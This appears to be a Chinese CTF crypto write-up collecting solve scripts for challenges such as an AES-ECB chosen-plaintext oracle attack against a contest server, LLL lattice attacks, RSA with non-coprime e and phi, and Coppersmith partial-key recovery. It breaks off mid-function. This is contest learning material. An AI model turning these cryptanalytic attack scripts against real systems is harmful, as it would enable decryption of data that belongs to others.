p = remote("nc1.ctfplus.cn", 38312)

print(p.recvline())
print(p.recvline())
print(p.recvline())
print(p.recvline())
p.sendline(b"yes")
p.sendline()
p.recvuntil(b"Your cipher:")
c = p.recvline()[:-1].strip()
print(c)
c = bytes.fromhex(c.decode("ascii"))

length1 = 0
for i in range(16):
p.sendline(b"yes")
payload = b"a" * i
p.sendline(payload)
p.recvuntil(b"Your cipher:")
d = p.recvline()[:-1].strip()
print(d)
d = bytes.fromhex(d.decode("ascii"))
if len(d) != len(c):
length1 = i
break
length_flag = len(c) - length1
print(length_flag)

# 从前往后爆破flag
payload_length = len(c) + 16 # 多一个分组保容错
flag = b""
for i in range(payload_length - 1, payload_length - 1 - length_flag, -1):
p.sendline(b"yes")
payload = b"a" * i
p.sendline(payload)
p.recvuntil(b"Your cipher:")
d = p.recvline()[:-1].strip()
print(d)
d = bytes.fromhex(d.decode("ascii"))
for j in range(33, 128):
p.sendline(b"yes")
payload1 = b"a" * i + flag + chr(j).encode()
p.sendline(payload1)
p.recvuntil(b"Your cipher:")
e = p.recvline()[:-1].strip()
print(d)
e = bytes.fromhex(e.decode("ascii"))
e = e[payload_length - 16 : payload_length]
if e in d:
flag += chr(j).encode()
break
print(flag)

"""# 从后往前爆破flag(此方法需要知道填充模式)
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES

# 在前面填充到满足AES加密的分组长度
dic='{}-BCTF0123456789abcdef'
flag=b''
for i in range(length_flag):
p.recvline() # b":\n"
server_payload=b'a'*(length1+i+1)
p.sendline(server_payload)
server_flag=p.recvline()[:-1]
server_flag=base64.b64decode(server_flag)

for j in dic:
p.recvline() # b":\n"
my_payload=j.encode()+flag
my_payload=pad(my_payload,AES.block_size)
my_payload=my_payload+b'a' # 我也不知道这里为什么要多加一个字节,当i=2时不加这个字节就会出错
p.sendline(my_payload)
my_flag=p.recvline()[:-1]
my_flag=base64.b64decode(my_flag)
my_flag=my_flag[:16]

if my_flag in server_flag:
flag=j.encode()+flag

break
print(flag)"""

p.interactive()

LLL

py
from Crypto.Util.number import *

flag = b'******'
m = bytes_to_long(flag)

assert m.bit_length() == 327
p = getPrime(1024)
a = getPrime(1024)
c = getPrime(400)

b = (a*m + c) % p

print(f'a = {a}')
print(f'b = {b}')
print(f'p = {p}')

'''
a = 169790849804323540946197204708402762862586197604183102589270741859708550301920348112941305999764092197996929298474590062625556806793613268527763774013772685954699561684244945434843656515307801882995934869499880288594142919381501796488815033294127591623260894764750214588993456840404443515671353802614450411717
b = 87985708831523238980948938165414984318379459926002798504435964538203443877988599888615810231215118828138306895572062833107988965151522391460216837691927960249874511818878134399363147008042562222910234739940697553852540265617603482995091203105040187460485673579382171260197291783748886765929376179151804062085
p = 131724494512065658801039766546788821718063963144467818735768040631367069153816254855229655449559099188694403260044990366292026916085340250077198735215774149087025577263769846650728593180101073940507285459917860726551385227481715873503612683249433020201729190862430476054822102865441136763977415824331858801617
'''

https://blog.csdn.net/m0_74345946/article/details/131742665 抄的人家的P5
终于上sage了

py
# sage
from Crypto. Util.number import *
from gmpy2 import *

b = 169790849804323540946197204708402762862586197604183102589270741859708550301920348112941305999764092197996929298474590062625556806793613268527763774013772685954699561684244945434843656515307801882995934869499880288594142919381501796488815033294127591623260894764750214588993456840404443515671353802614450411717
a = 87985708831523238980948938165414984318379459926002798504435964538203443877988599888615810231215118828138306895572062833107988965151522391460216837691927960249874511818878134399363147008042562222910234739940697553852540265617603482995091203105040187460485673579382171260197291783748886765929376179151804062085
p = 131724494512065658801039766546788821718063963144467818735768040631367069153816254855229655449559099188694403260044990366292026916085340250077198735215774149087025577263769846650728593180101073940507285459917860726551385227481715873503612683249433020201729190862430476054822102865441136763977415824331858801617

# a*r = flag + k*p

M = Matrix(

ZZ, [[p, 0, 0], [-b, 1, 0], [a, 0, 2**400]] # 400=c.bits

) # Matrix()函数通常采用数值作为参数并返回一个矩阵对象
c, m, k = M. LLL()[0]
"""LLL 算法是一种格约化算法,用于查找格的约简基。
LLL 方法返回一个由两个元素组成的元组:
简化基和将原始基转换为简化基的矩阵"""

# print(m)

flag = long_to_bytes(abs(m)) # abs()返回数字的绝对值
print(flag)

# NSSCTF{ee5cb1a5-257a-48b0-9d62-9ef56ff0651a}

easy_LLL

py
from Crypto.Util.number import *

m = bytes_to_long(flag)
p = getPrime(1024)
assert m.bit_length() == 255

def encrypt(m):
a = getPrime(1024)
b = getPrime(400)
c = (a * m + b) % p
return c, a

result = [encrypt(m) for i in range(5)]
c = [x[0] for x in result]
a = [x[1] for x in result]

print('p =', p)
print('c =', c)
print('a =', a)

'''
p = 114770017142688382362918268558878024848633097928402093647914503696492833723966801545716194546592346338592062332306371502256979159033965343002132956304625610134374822329402499359634555710129039614275145668904822690744696925414716152630310915301980153974374009140517084226870950134327432658087834138202887501571
c = [25269157674120082500323585451842928560404625967932662908517922704871828513397233858615005968124017428639853960550468542894270451871612496631645175015826203493265945456529848647562285359912541672751550625137876486033809099678631009005979648033707322772087110235116987698692692467320479776960630479772236446980, 75827517416784647262997004080634347924631190865715212882627791181841845414253117114184423517850773219376565782814219713490136873921446382123059696483594598328510450811390866671002685611755205236016843942407419858592870716928648777362367108239158432436307113173823883182666320180058177554647020175991566479974, 4000439731719746534404360339840675006453847582492745979982221624660296805996044239209286181541462187650487112017410839740281883027081539802479046385802021188067656190594734619927933032154534742175380783895559841318520045144113562164247717915766667365412215754183668349398802684299015216478025166881475794536, 16711257143606850336586355581909703391105580636095435863487225535083010317005439435375105800641024112138121810242207127443011036209544967633123983636015153089843815287370646565071784002098183021489882046492609441708361550786752857773565252821037805549119284258373739189052221307754872723967188683410620808193, 106512227999048988543537542345636528925594107128125030635002665980574709006558840446189017357623681828677935125012144689963798865971782914704616798239451971370511961281779438306334353650663495164449411037055054859128957955413918744183200858441122917851347996800797164614883188302584586112732819164555910532500]
a = [177876163920838720585474640511391249051418827853372387342635245341495792468826199544624082182728094652999191797576747605771062756630817438777653951772485569478516324903956113309190795622258346824643390004835397272889256696087356239515881459115499360779486974615331766141255410923960657795391638070660994726539, 154147211832384364492785997490497428696214843927503185938896425556028644075902949520267734189423717477702286854849502563505554965833703544305651488482204719931055591825164774932532116940955079750398001376723036214113076925445019856194390932639722726924707396244454184674407094860919513514591518499956074524561, 162236910312416448303316079284626131452444352290110477620135842885125003493068172330766174225997049094080836685617836911475638508283918576304502582848847097467251286819613975600023439985149604495163647781268904127545271241114039490048103188362740808427663167350820948490766499995036870926879430699822216419877, 156324330649465856865205652642919116551480610060830456323361514761783406613162826555066367215822747145109223530381689780625035795004458919262362420375225560790467893332585836287433463308447660726674632677063603419250881619682710122472587150879771212601074942044613408069114640355658551759306352327418458216623, 94727349364308455432706991721504607810501329870619614073375570944298709074650444442139356318854809081925625009516102978518170343525726627149123655332253529418292440747073463615106501530133930750010290051226765906194210372904323460884238665194406125116885468971886527174150462509520345910607640580833401931201]
'''

https://dexterjie.github.io/2023/08/25/格密码进阶/

我们这题的格跟这个很像。因为我不会在博客写格,凑合着看吧
注:已补上格。

ciai×m+bmodpc_i \equiv a_i \times m + b \mod{p}

经过等价替换可得到:

ci=ai×m+b+li×pai×m+li×pci=bc_i=a_i \times m+b+l_i \times p \\ a_i \times m+l_i \times p-c_i=-b

于是我们可以得到一个跟上图差不多的格,secretsecret就是我们所求的mmbib_i是我们的aia_i,rir_i是我们的cic_i
右边的向量即为(bbbK/pK)\begin{pmatrix}b & b & b & \dots & K/p & -K\end{pmatrix}
格构造如下:

(l1l2lnm1)(p00000p00000p00a1a2anK/p0c1c2cn0K)=(bbbK/pK)\small \begin{pmatrix} l_1 & l_2 & \dots & l_n & m & -1 \end{pmatrix}\begin{pmatrix} p & 0 & \dots & 0 & 0 & 0 \\ 0 & p & \dots & 0 & 0 & 0 \\ \vdots & \vdots & \ddots & \vdots & \vdots & \vdots \\ 0 & 0 & \dots & p & 0 & 0 \\ a_1 & a_2 & \dots & a_n & K/p & 0 \\ c_1 & c_2 & \dots & c_n & 0 & K \end{pmatrix}=\begin{pmatrix} b & b & b & \dots & K/p & -K \end{pmatrix}

为了使右列向量的比特位相同,b=getPrime(400), 且b < K, 显然K得取24002^{400}
然后就继续愉快的套公式吧~

py
# sage
from gmpy2 import *
from Crypto. Util.number import *

p = 114770017142688382362918268558878024848633097928402093647914503696492833723966801545716194546592346338592062332306371502256979159033965343002132956304625610134374822329402499359634555710129039614275145668904822690744696925414716152630310915301980153974374009140517084226870950134327432658087834138202887501571
c = [

25269157674120082500323585451842928560404625967932662908517922704871828513397233858615005968124017428639853960550468542894270451871612496631645175015826203493265945456529848647562285359912541672751550625137876486033809099678631009005979648033707322772087110235116987698692692467320479776960630479772236446980,
75827517416784647262997004080634347924631190865715212882627791181841845414253117114184423517850773219376565782814219713490136873921446382123059696483594598328510450811390866671002685611755205236016843942407419858592870716928648777362367108239158432436307113173823883182666320180058177554647020175991566479974,
4000439731719746534404360339840675006453847582492745979982221624660296805996044239209286181541462187650487112017410839740281883027081539802479046385802021188067656190594734619927933032154534742175380783895559841318520045144113562164247717915766667365412215754183668349398802684299015216478025166881475794536,
16711257143606850336586355581909703391105580636095435863487225535083010317005439435375105800641024112138121810242207127443011036209544967633123983636015153089843815287370646565071784002098183021489882046492609441708361550786752857773565252821037805549119284258373739189052221307754872723967188683410620808193,
106512227999048988543537542345636528925594107128125030635002665980574709006558840446189017357623681828677935125012144689963798865971782914704616798239451971370511961281779438306334353650663495164449411037055054859128957955413918744183200858441122917851347996800797164614883188302584586112732819164555910532500,

]
a = [

177876163920838720585474640511391249051418827853372387342635245341495792468826199544624082182728094652999191797576747605771062756630817438777653951772485569478516324903956113309190795622258346824643390004835397272889256696087356239515881459115499360779486974615331766141255410923960657795391638070660994726539,
154147211832384364492785997490497428696214843927503185938896425556028644075902949520267734189423717477702286854849502563505554965833703544305651488482204719931055591825164774932532116940955079750398001376723036214113076925445019856194390932639722726924707396244454184674407094860919513514591518499956074524561,
162236910312416448303316079284626131452444352290110477620135842885125003493068172330766174225997049094080836685617836911475638508283918576304502582848847097467251286819613975600023439985149604495163647781268904127545271241114039490048103188362740808427663167350820948490766499995036870926879430699822216419877,
156324330649465856865205652642919116551480610060830456323361514761783406613162826555066367215822747145109223530381689780625035795004458919262362420375225560790467893332585836287433463308447660726674632677063603419250881619682710122472587150879771212601074942044613408069114640355658551759306352327418458216623,
94727349364308455432706991721504607810501329870619614073375570944298709074650444442139356318854809081925625009516102978518170343525726627149123655332253529418292440747073463615106501530133930750010290051226765906194210372904323460884238665194406125116885468971886527174150462509520345910607640580833401931201,

]

n = len(a)

M = Matrix(QQ, n + 2, n + 2)

for i in range(n):

M[i, i] = p
M[-2, i] = a[i]
M[-1, i] = -c[i]

K = 2 ^ 400
t = K / p

M[-2, -2] = t
M[-1, -1] = K

L = M. LLL()

x = L[1][-2] // t
m = x % p
print(int(m).bit_length())
print(long_to_bytes(int(m)))

LinkedListModular

逆向部分我不会,主要说我的逆向队友爆出来的部分:

p:0xae1e96a501b0360bd9ca423f2d9366e7c01c56e2d02dd20effc4c290e8bbd2cc53bb2a65b5262e254418d706335708ebd713cf9fac04fb1209d666adc6ebb6fee8c97a8dde4c23d3704198f918de46fe69a0d4d7878341c25118e7d1ac368753ce45f77b64580e0a89e300ac8f1be75d3a001df26bcfdaf82a479e14f6f25bfb 
q:0xcfc337e9217545d01babb00c330747aed4e6d99df42892bffce38e9b5c8a89d0528a7daac8d0075d72813669bc332688c9f6df2793b393580ac71f05db159e2dee3a6fd34ca2ba5ccae8428efefd6ee5454b6751ca71c008468278d7fe911e8c292172fa77468e996d80f4661c24ccdcc76c655a9168b0edeed165b2dd89501b 
e:0xd322 
c:0x6f23dc633746ecd6f6b6c753556a969ded7f9033b7617d4497b3a3ac685b92063e42c5657a01604ed084035637440889bd6865449021a15dfa33ed2d9531f50c41d452df7399554a35f4340993d64c9e1c7b54894d291b33ac95b39719093d788a1d218f54f00494990f8aff3d09e21edae2172cd8b42ae6f8abfdb05e5d9a6ff4b5092f60f8ce2a576e429a80bd15fc7073d75415c824fc450a9295128e30804760179bc3213ade1121d615f7ebbf192f93dd25031de12e12e15ae189db525ddbdfb2f54f098c0a027b6b1277c22108dfd2699f7946ce51f1c73a78721896bd8baa3b7fa4dfc063ab212eb0684531f372f2edc7b1f7baa3353b55cc750b95ff
p:0x7a7b8ee72d467eefe378502ca7804e0b55e0b68987dd7e8c03f7f7f717554183d2a0d99c7b33e8e1a28be171b77f8974616ac49645d7d5cf6fe5f4dcbfd1d25c3ad75e1eb3e4038d55a29c7114e176fd34626c2a8e76021d079cdb85cc8016acab00047910dfa5cd0439a3cc13527557ea879c184454a443711083a4f9d1d46b 
q:0xc17c7a7fbc5469af413f79c07cc5b892cfbbaa00950b115e267e83e2669f3f6779c7302ecfc9f850e0e4185892e96d356d65b1d372432c5a3f297cfb8373fe9a090a3f8dadf6ef6f2ca5b5107454ee6b1385d165bb4bb7776cbbccb8de1993a5ebb34ee365ff39b9ec9613121ba99d74759e0bf80726805ce03ed7f1e49375f1 
e:0x10ae 
c:0x5be0df3bb240ffd53f2d914eb79878231821a1dba5cc491a888c8fd553a905a7f1cea2750c39ea48ab4175115591310c0f9d63e1aee9d2480780f3ce4f98c57114cd2901ea6f560e04a0a9cec157dac3def734fa10ab54c27bf20211cf1f1f6f6afe5fc9ef5c9af864f054a5e61c48c6e6dc087cc350008d4232d08b0b5011923f1077ead75d54a792aa8a51a0b37bfa3faef0b9380cff209c7bf3a20fbbb087caf177b83c9bf03e965bd7347dd18418f3e50aef29cc89fa594ccd31b6f63f397eeba71629fec2c8699148dfd6be32deb96577690814bb4fe6dbefe2379468e0e317a870795ba04ab2e306fe5340700c415048eff5909a2453752845572a0931
p:0xa2562b53b1ff8b9635122c92612d8b6ea43ac0e40115c03befc0fb1bdefcda35a77f1cf23e5fdfa51ee864dac707524584cf4243cade36ea0b2ce14d9337d796f85b730483e7b6e342d44a36a1bc4052125b4eaef3724af9cfb8cab719d9efc54df851042408c2f69c1e5f46f00f067f7fa5cf7a3cb227879cbdefac7eab6cd3 
q:0xfeec12d4602e4895f53715d7e5a7583ee93c49079480aadae13c7c9d720a5fd976b6b9ac5ef65570f9e9d9b6d0b0b39f1372ea819bc14cc10a0a23a7f22f60c1a4fc536ebc4997bb873db9d8cb34f58fec2a05dc766cb865e09aa6c1a059713ccb1b31a9c986ecd4f45dc53c95e32ae6d370ee3566daa8b5f5bf6fe5fa20cd0f 
e:0xc051 
c:0xa798cb067b716ae1382d2070efb8bdb71050b88d9503a68fe5e851999071e4ee9f72c88b3975de09e8f436566d75f90e6388fddb3497b1e8f8f6bf8ad13cd35040d6b5b3f2e3ba3b1dddf14800840b0bfb08f25b5546cd5a34025e8eaaf289478c5f1b91229a31c980f773deb90cc0752da82aa17585bb616fc0b4f0749003a36f11acbdd4e85f7b092ee3864835c1063afccdbf3b585855a03e904cbc9c7fe9d86011a1237e396e4e2c72deec76829de7e67282cda86abd348bb98aac5ea83f3735c70a29f45cff6b4b76b03f12c4ea936368d13ba15a87da416a91be05ebaa0e67e1070e5d7a15f178c42ff05bab0e3de009f00b8e4cecf950f7250427e12
p:0xb06c6c2ac320c555cc4bc5bc89976436582de33d77788ed0eb1e5b726e242c2890ede50d918d3b7cab74141519e43761f515590279fb4fa8674a94d0985aedfa4b54580307416aa1888015e12e2536350ffa418203161b5fb2438035160327e21f4015d4b7393d90fff50f8d5be3da08abefac23898a55dc60a24470c8fe76eb 
q:0xadabc61519e9642517eb5c2a4a416f34c62a2c1ea6ec4c1d0d4686a95c31dcabba2c13fa8217e14fc541857b846d88027a1f7cfee9aba0757c3a92ab579086586c0e52b8184de0c69ae674b034342b0db40955fbffdc84ee875b9b84f7d2bf32836f03c304b34fea2ea03731af95d9156b91a16ff9338fe8a9fce24525b65509 
e:0xd2c2 
c:0x11861752a8ca58b777300efbc8ed05ea54d0c326cbfb573a0bd21fe5a20191b03f07be7aea9ac192adbe48726a0a03ccc838375d7c4fcd0b8814578fad47ea0407281bbb205960c6453fff81584ce334a23960c6321c720da7b190281c6d46b55e3bab0493d8ff6cf3855a2a6039c259f955e2cbdfb9dcabc813ad82c5333d535950e28cfb2aa556c32700f64c2b63058cf33fe6c40677a93d8c80a0f9db60da1ce90182ed0aa6ed33a2a9288dc9ff19ed9bffb59991bddf282b38a59ded27f71c4e5e0190e5244d916556c033bb2a184c87cf1923fb87902fa9dbb5ad5f927249bedfa4b47e5a379297926e3216a808b93ea2c7bf014c0b7ae29eacf595a43e

它说用轩禹直接解解不出来,注意到题目说注意e和phi,能看出e和phi不互素。
然后就发他了个脚本解决(这题不需要考虑t=2时的二次同余)

py
import gmpy2
from Crypto.Util.number import *
import libnum

# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
print(d)
m = pow(c, d, n)
msg = gmpy2.iroot(m, t)
if msg[1]:
print(msg[0])

p = 0x7A7B8EE72D467EEFE378502CA7804E0B55E0B68987DD7E8C03F7F7F717554183D2A0D99C7B33E8E1A28BE171B77F8974616AC49645D7D5CF6FE5F4DCBFD1D25C3AD75E1EB3E4038D55A29C7114E176FD34626C2A8E76021D079CDB85CC8016ACAB00047910DFA5CD0439A3CC13527557EA879C184454A443711083A4F9D1D46B
q = 0xC17C7A7FBC5469AF413F79C07CC5B892CFBBAA00950B115E267E83E2669F3F6779C7302ECFC9F850E0E4185892E96D356D65B1D372432C5A3F297CFB8373FE9A090A3F8DADF6EF6F2CA5B5107454EE6B1385D165BB4BB7776CBBCCB8DE1993A5EBB34EE365FF39B9EC9613121BA99D74759E0BF80726805CE03ED7F1E49375F1
e = 0x10AE
c = 0x5BE0DF3BB240FFD53F2D914EB79878231821A1DBA5CC491A888C8FD553A905A7F1CEA2750C39EA48AB4175115591310C0F9D63E1AEE9D2480780F3CE4F98C57114CD2901EA6F560E04A0A9CEC157DAC3DEF734FA10AB54C27BF20211CF1F1F6F6AFE5FC9EF5C9AF864F054A5E61C48C6E6DC087CC350008D4232D08B0B5011923F1077EAD75D54A792AA8A51A0B37BFA3FAEF0B9380CFF209C7BF3A20FBBB087CAF177B83C9BF03E965BD7347DD18418F3E50AEF29CC89FA594CCD31B6F63F397EEBA71629FEC2C8699148DFD6BE32DEB96577690814BB4FE6DBEFE2379468E0E317A870795BA04AB2E306FE5340700C415048EFF5909A2453752845572A0931

decrypt(p, q, e, c)

最后加起来md5就做出来了

Number theory

风二西的题库能找到第一部分

第二部分有点像2024年强网杯的abpq,但比它简单。
wp参考自
https://github.com/josephsurin/my-ctf-challenges/blob/509f60c5e57f773fe768f01d573effcf0d5e010b/downunderctf-2023/apbq-rsa-i/solve/solv.py
一个比赛用一个,爽

py
# sage
from Crypto. Util.number import *
from gmpy2 import gcd
from math import isqrt

h0 = 3220497006402049508998763812708472832647814868290156746347730942871191356255789659370553564805270033069126673720344310199953651087754072020225702916105541813428786992668144172000495857408180695235017329451164552864440669887978780387408892281885728829108705426036377534262123812335152528611168777211280571694805002313718755871797426493929314877273385162106226582910473718696585558235361302211164190022765345477880209355073870857330694309139033191510002831755011163554405501084092882774630793037506647051531578470767441695642108269033577519614546722167605348209455599860877630930453549375215766657975702946679735793440
n1 = 20609629372145649869124883931477035418773265506807982287973634398860995335157854064383658546598627777214414513344620919765235474447787454254677033199140440513722365295528339478763686234572386246701669139829187532179573583918405628738545887852577214800663095592976049188005405242091639210252676232732956312108538849591909382864675439965387851084691144379692503823575367370407191667133473482821484955537306602611587604747693171586870973700406072872451067709522642066831289686968535823774273770385924779368338446367102184983154486987531633971065357864924738084803301054789863293592286600424063888458243900130876991944561
q = gcd(pow(2024, n1, n1) - h0, n1)
p1 = n1 // q
assert p1 * q == n1
print("p1=", p1)
print("q=", q)
"""
p1= 173372720206385834569678471333958784638586614453461924694852799411511525290419983713543942463722586256841515819523624239173976987599088346657357916198852116172460701468448365355983089723151147709153372627090761707327697899769559661187061166392094719933102425550671003720484285964838360777691632929809407043791
q= 118874695786116734917065043442458952547874656505388902849583986739750433740760352688054822604427183355141871756128562592954061494068247418404217180198818025424511398092449124305805738302689459754842048957858402877387959339315483803736974651246922275580029822892751678239186974759117933061631242872453942209471
"""

# h1 = a1 * p + b1 * q1

# h2 = a2 * p + b2 * q1

# n2 = p * q1

from tqdm import tqdm
import itertools

hints = [

49194502383195208917988199785355579000471120627698824524136563939112767971337049691779758664899497703009458337602635607307068610164325874221815125058246159504553260658300727486252329656228567456351563661171511248498573151135374757953887871426130912974127123668357951196795364055703535399924661649957282476915345782505912688106575686848420343362888,
56029812337811022982598747354987989915364610368395101948222609237230875599013444593473706280586983516630982411154519894488542135837471701015074142753084529513202513061481615522865380857058628008542724882609524855349464549317203533208567803034618377155637303135785566874122555481931560957334493233423618193735362609235034574175221191665401074291634,

]
n2 = 21127172569887870569621986802814771398069606826661397979515556618791602174698226712111670185315617811180192688381471253591193212149192104216153890060029438171543010427356810059660168369171504065120474047401466632600230981702536898738744701541132759858595341068713321976579864810553447534204513491008705215041861247277449063318972113826820821732327255577559447446606667162763843696891825420560307688553022453470653875157114663943723258181186659915926780802902213978395961981750159147594076399769386787561910947372748908551775527715538708855235861297549189165238857651886658156332640360898769204102407630920314871304057
c = 5607552428806279725164332098717496105359323731793797865776852054987286366396268835656116948807084338497364746716217052175055013330847114498067023163878490040957130515880922531725226729467904687450269817551037876044274898360914422201634758724176912018795267171627398316542607462818553194467631468793807762529509728325759331142060865432879561622747895422022839077034959965640817419843376693946391886148327389538923557583964708218796910422008150480950732394548385083016293891237783400286493750498647816940000092965104858068292374074379723230507283787259827582725133425982004517180631242028412315096023451549819804660838

for a1, a2 in tqdm(list(itertools.product(range(2**13), repeat=2))):

kp = gcd(a1 * hints[0] - a2 * hints[1], n2)
if 1 < kp < n2:
print(
"find!", kp, a1, a2
) # find! 178557871889789476735392773689039729944728430625818764599203953284194468360955366524476361619864195810267037397001299832526726480560276846147351034417947012223276604383027178163281207815083989579760615671067777036793963045167137767877397560786425871554804100602428308050015870442290953340882348809647523234561 8161 4513
break

for i in range(2**16, 1, -1):

if kp % i == 0:
kp //= i

p = kp
q2 = n2 // p
assert p * q2 == n2
e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, p * q)
flag = long_to_bytes(m).decode()
print(flag)

X0R

问gpt的

py
from Crypto.Util.number import long_to_bytes

# 已知的值
f1 = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e2 = 10706859949950921239354880312196039515724907
flag_prefix = b"SYC{"

# 步骤1: 将e2转换回e1
e1 = e2 ^ f2

# 步骤2: 将e1转换回enc
enc = e1 ^ f1

# 步骤3: 将enc转换为bytes
enc_bytes = long_to_bytes(enc)

# 步骤4: 推测key的前四个字节
key_bytes = bytes(a ^ b for a, b in zip(flag_prefix, enc_bytes[:4]))

# 步骤5: 使用推测的key解出flag
flag = bytes(
a ^ b for a, b in zip(enc_bytes, key_bytes * (len(enc_bytes) // len(key_bytes)))
)
print(key_bytes)

print(flag)

自己后来的解法

py
from Crypto.Util.number import *
from pwn import xor

f1 = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e2 = 10706859949950921239354880312196039515724907
e1 = f2 ^ e2
enc = e1 ^ f1
enc = long_to_bytes(enc)
key = xor(enc, b"SYC{")[:4]
print(key)
print(xor(key, enc))

ncoCRT

gpt*2

py
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes

# 已知的 p 和 c 数组
p = [
1921232050179818686537976490035,
2050175089402111328155892746480,
1960810970476421389691930930824,
1797713136323968089432024221276,
2326915607951286191807212748022,
]

c = [
1259284928311091851012441581576,
1501691203352712190922548476321,
1660842626322200346728249202857,
657314037433265072289232145909,
2056630082529583499248887436721,
]

# 通过中国剩余定理求解 m
m, _ = crt(p, c)

# 将 m 转换回字节
m_bytes = long_to_bytes(m)

# 去掉最后 23 个字节
flag = m_bytes[:-23]
print(flag)

ezRSA

经典的m高位泄露,套脚本

py
# sage
import libnum
def phase2(high_m, n, c):

R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
m = high_m + x
M = m((m^3 - c).small_roots()[0])
print(libnum.n2s(int(M)))

h = 111518648179416351438603824560360041496706848494616308866057817087295675324528913254309319829895222661760009533326673551072163865
high_m=(h+2023)//2024
n = 98776098002891477120992675696155328927086322526307976337988006606436135336004472363084175941067711391936982491358233723506086793155908108571814951698009309071244571404116817767749308434991695075517682979438837852005396491907180020541510210086588426719828012276157990720969176680296088209573781988504138607511
c =9379399412697943604731810117788765980709097637865795846842608472521416662350816995261599566999896411508374352899659705171307916591351157861393506101348972544843696221631571188094524310759046142743046919075577350821523746192424192386688583922197969461446371843309934880019670502610876840610213491163201385965

phase2(high_m, n, c)

凯撒加密

nc

gpt*3

py
import socket
import hashlib
import string
import itertools

# Server details
HOST = "nc1.ctfplus.cn" # Replace with the server's IP address
PORT = 17384 # Replace with the server's port

def solve_proof_of_work(suffix, hexdigest):
"""
Solve the Proof of Work challenge by brute-forcing the first 4 characters.
"""
print(suffix, hexdigest)
for x in (
"".join(c)
for c in itertools.product(string.ascii_letters + string.digits, repeat=4)
):
if hashlib.sha256((x + suffix).encode()).hexdigest() == hexdigest:
return x.encode()
return None

def get_flag():
"""
Connect to the server, solve the Proof of Work, and retrieve the flag.
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))

# Read Proof of Work challenge
data = s.recv(2048).decode()
print(data)

# Parse the PoW challenge
# Example: "[+] sha256(XXXX+abcdef) == deadbeef..."
_, rest = data.split("sha256(XXXX+")
proof, hexdigest = rest.split(") == ")
hexdigest = hexdigest.strip()

# Solve the PoW
prefix = solve_proof_of_work(proof.strip(), hexdigest)
if not prefix:
print("Failed to solve Proof of Work")
return

# Send the PoW solution
s.sendall(prefix + b"\n")

# Read the server's response
response = s.recv(2048).decode()
print(response)
if "Wrong" in response:
print("PoW failed.")
return
response = s.recv(2048).decode()
# Retrieve the flag characters
flag = ""
for i in range(1, 33): # Assuming the flag length is 32
s.sendall(f"{i}\n".encode())
response = s.recv(2048).decode()
print(response)
if "[+]" in response:
flag += response.split("[+] ")[1]
else:
print("Invalid response:", response)
break

# Print the complete flag
flag = flag.replace("[-] ", "").replace("\n", "")
print("Flag:", flag)

if __name__ == "__main__":
get_flag()

highlow

https://life-extension.github.io/2020/03/29/Coppersmith攻击方式小结/
转成p已知高位和低位的攻击

py
from Crypto.Util.number import *
flag = 'z'*44
f = hex(bytes_to_long(flag.encode()))
pxor = 124229245244085791439650934438639686782423445183921252684721764061493908790073948877623812930339081158169421854801552819088679937157357924845248082716160727839419054107753000815066526032809275137495740454967765165248115412626716101315676902716808647904092798908601183908297141420793614426863816161203796966951
print(f,len(str(f[2:])))
print(hex(pxor),len(str(hex(pxor))[2:]))
print('high = ',hex(pxor &0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000))
print('low = ', hex(pxor &0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff))
high =  0xb0e8877e79882c5a79d179cb1210757cd772be928e737659579dfaf8c5e5ad07e3ea00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
low =  0x496dcf99798bd0ffe272a7a8b73030ed1510c5970a7084ac319258d90fd5607278fd5ec3784f1e05ed5849ad42df621fe27
py
# sage
size = 2048
sizep= 1024
knownbits= 134*4
N = 14091206320622523674847720139761543154822190879035380245424481267482550932229611965964424965958386255076593911062804299275581742665134207390532802109700225140999812698020838683697375891035625255222001884477214361835101442288725383073334392995186053867261497679234362794914108033574681292656522807928680812726462195077833184018122369579002715900477290345396065912536529290811962117814900448319776590712946259540382461632468634827959957286905806432005632864663985014872365672653476822833921870071851313424903481282350342304819149894610089804321405589433980650340610521659031234826823369114800150883988613877877881069579

#we need to define an polynomial == 0 (mod p) that gives us the missing part (x)
# f_p(x) = x*2**(knownbits/2) + p_msb + p_lsb
# it's not monic so we need to divide by 2**(knownbits/2)
# set R = 2**(knownbits/2) and invert it modulo N

R = 2**(knownbits//2)#从第68位开始测试
invR = inverse_mod(R,N)
#补齐两边
p_msb = 0xb0e8877e79882c5a79d179cb1210757cd772be928e737659579dfaf8c5e5ad07e3ea00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
p_lsb = 0x496dcf99798bd0ffe272a7a8b73030ed1510c5970a7084ac319258d90fd5607278fd5ec3784f1e05ed5849ad42df621fe27
#setup coppersmith
F.<x> = PolynomialRing(Zmod(N))
#define the poly in x modulo p
f = x + (p_msb+p_lsb)*invR
#solve it
x0 = f.small_roots(X=2^(sizep-knownbits)-1, beta=0.44, epsilon=1/64)[0]



print ("reconstructed p: {:x}".format(Integer(x0*R)+p_msb+p_lsb))
# reconstructed p: b0e8877e79882c5a79d179cb1210757cd772be928e737659579dfaf8c5e5ad07e3eaa21526dceb4b5a0150fccdddbc5e88b624e41e9270428bf188d2526ccadabff88ea107fcb6952e937b0d315d0496dcf99798bd0ffe272a7a8b73030ed1510c5970a7084ac319258d90fd5607278fd5ec3784f1e05ed5849ad42df621fe27

RnoCRT

风二西题库又秒了
[V&N2020 公开赛]CRT(中国剩余定理模数不互质)
https://blog.csdn.net/weixin_44110537/article/details/107396080

py
import hashlib
import gmpy2
import math

def merge(a1, n1, a2, n2):
d = math.gcd(n1, n2)
c = a2 - a1
